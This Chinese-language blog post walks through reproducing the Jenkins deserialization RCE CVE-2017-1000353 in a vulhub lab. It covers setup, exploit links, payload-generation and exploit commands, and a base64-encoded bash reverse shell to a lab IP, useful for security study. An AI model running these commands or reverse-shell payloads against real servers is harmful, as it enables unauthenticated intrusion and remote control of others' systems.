0%

Jenkins远程代码执行漏洞(CVE-2017-1000353)

漏洞描述


声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限

参考:https://www.cnblogs.com/backlion/p/6813260.html


影响版本


所有Jenkins主版本均受到影响(包括<=2.56版本)
所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)


FOFA语句

1

环境搭建

docker搭建

1
2
cd /opt/vulhub/jenkins/CVE-2017-1000353
docker-compose build && docker-compose up -d

linux搭建

  • 官方下载jenkins-2.46-1.1.noarch.rpm,官网;

  • 在redhat系统中安装jenkins;

1
rpm -ivh jenkins-2.46-1.1.noarch.rpm
  • 开启jenkins服务;
1
service jenkins start

image-20211112171437144

  • 浏览器访问http://ip:8080;

    如下图所示需要输入密码,密码文件在/var/1ib/jenkins/secrets/initialAdminPassword:

image-20211112171550762

  • 输入密码后进入如下界面,选择安装建议的插件;

image-20211112171708451

  • 安装完插件之后,进入如下界面,设置用户名和密码;

image-20211112171740931

  • 设置完用户和密码之后,进入如下界面,点击如下图位置;

image-20211112171831492

  • 至此jenkins环境搭建成功;

image-20211112171859675

漏洞复现

  • 下载生成反序列的payload;
1
https://github.com/nobleXu/jenkins
  • 下载漏洞利用代码exploit.py
1
https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py
  • 这里已经整理在了gitee中,阔以直接下载;

image-20211112172133138

命令执行

kali中生成执行touch /tmp/success的payload;

1
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"

使用exp.py执行攻击;

1
python exploit.py http://your-ip:8080 jenkins_poc.ser

返回容器可查看文件已上传成功;

image-20211112172420770

反弹shell

反弹shell格式:

1
bash -i >& /dev/tcp/ip/port 0>&1

使用bash编码的payload,点击jackson-t.ca生成;

image-20211112101336003

kali生成执行反弹shell的payload;

1
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMC4xMzgvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}"

使用exp.py执行攻击;

1
python exploit.py http://your-ip:8080 jenkins_poc.ser

欢迎关注我的其它发布渠道